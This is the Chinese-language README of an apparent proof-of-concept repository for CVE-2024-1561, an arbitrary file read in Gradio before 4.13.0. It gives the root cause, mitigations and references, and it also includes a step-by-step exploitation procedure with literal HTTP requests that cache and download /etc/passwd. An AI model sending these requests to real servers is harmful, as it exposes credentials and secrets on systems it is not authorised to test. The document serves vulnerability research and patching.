K3ysTr0K3R/CVE-2024-1561

GitHub: K3ysTr0K3R/CVE-2024-1561

该项目是 CVE-2024-1561 的 PoC,用于验证 Gradio 4.13.0 之前版本中 /component_server 端点验证不足导致的任意文件读取漏洞。

Stars: 0 | Forks: 0

# CVE-2024-1561 - Gradio 任意文件读取 **CVE-2024-1561** 是一个影响 **4.13.0** 之前版本的 **Gradio** 的任意文件读取漏洞。Gradio 是一个流行的 Python 框架,用于快速为机器学习模型和 AI 应用构建 Web 界面。 该漏洞的存在是因为 `/component_server` endpoint 没有正确限制可以调用内部 `Component` 类的哪些方法。攻击者可以滥用此行为来调用从未打算通过 HTTP 暴露的方法。 其中一个方法是 `move_resource_to_block_cache`,它允许将本地文件系统中的文件复制到 Gradio 的临时缓存目录中。一旦文件被复制,就可以通过 `/file` endpoint 访问它,从而允许攻击者获取其内容。 尽管该漏洞不能直接提供远程代码执行,但它可能会暴露服务器上的敏感文件,并可能被用于获取凭据、配置文件、API 密钥、token 或其他对进一步攻击有用的信息。 ## 受影响版本 - Gradio < **4.13.0** **4.13.0** 及更高版本包含必要的安全检查,以防止任意方法调用。 ## 根本原因 该问题源于 `/component_server` endpoint 内部的验证不足。 Gradio 没有将请求限制在可调用函数的安全列表中,而是允许攻击者指定属于组件实例的任意方法名。 由于内部方法: ``` move_resource_to_block_cache() ``` 接受文件系统路径作为输入,攻击者可以指示应用程序缓存服务器上任何可读的文件。 一旦被缓存,该文件就会通过 Gradio 的正常文件服务功能被暴露出来。 ## 漏洞利用过程 一次成功的攻击通常遵循以下步骤: 1. 查询 `/config` endpoint。 2. 获取有效的组件 ID。 3. 向 `/component_server` 发送请求。 4. 调用 `move_resource_to_block_cache` 方法。 5. 提供目标文件的路径(例如 `/etc/passwd`)。 6. 在服务器响应中接收临时缓存路径。 7. 通过 `/file` endpoint 下载缓存的文件。 此过程允许远程检索 Gradio 进程可读取的任意文件。 ## 示例请求 ``` POST /component_server HTTP/1.1 Host: target Content-Type: application/json { "component_id": "3", "data": "/etc/passwd", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa" } ``` 如果成功,Gradio 将返回缓存文件的位置。 然后攻击者可以请求: ``` GET /file=/tmp/gradio//passwd HTTP/1.1 Host: target ``` 来获取其内容。 ## 安全影响 成功利用该漏洞可能允许攻击者读取敏感文件,包括: - `/etc/passwd` - 私有 SSH 密钥 - 环境变量文件(`.env`) - API token - 云端凭据 - 应用程序配置文件 - 数据库凭据 - 源代码 - 身份验证机密 影响程度取决于 Gradio 应用程序的权限。 ## 缓解措施 要修复此漏洞: - 将 Gradio 升级到 **4.13.0** 或更高版本。 - 避免将 Gradio 应用程序直接暴露在公共 Internet 上。 - 尽可能要求身份验证。 - 使用反向代理或防火墙限制访问。 - 以最低的必要权限运行 Gradio。 - 避免将敏感凭据存储在应用程序进程可访问的位置。 ## 参考 - CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1561 - 补丁: https://github.com/gradio-app/gradio/pull/6884 ## 免责声明 本仓库仅用于**教育目的**、**安全研究**和**授权的渗透测试**。在对您不拥有或未经授权评估的系统进行测试之前,请务必获得明确的许可。
标签:AI安全, Chat Copilot, Gradio, Homebrew安装, Web安全, 任意文件读取, 安全助手, 蓝队分析, 逆向工具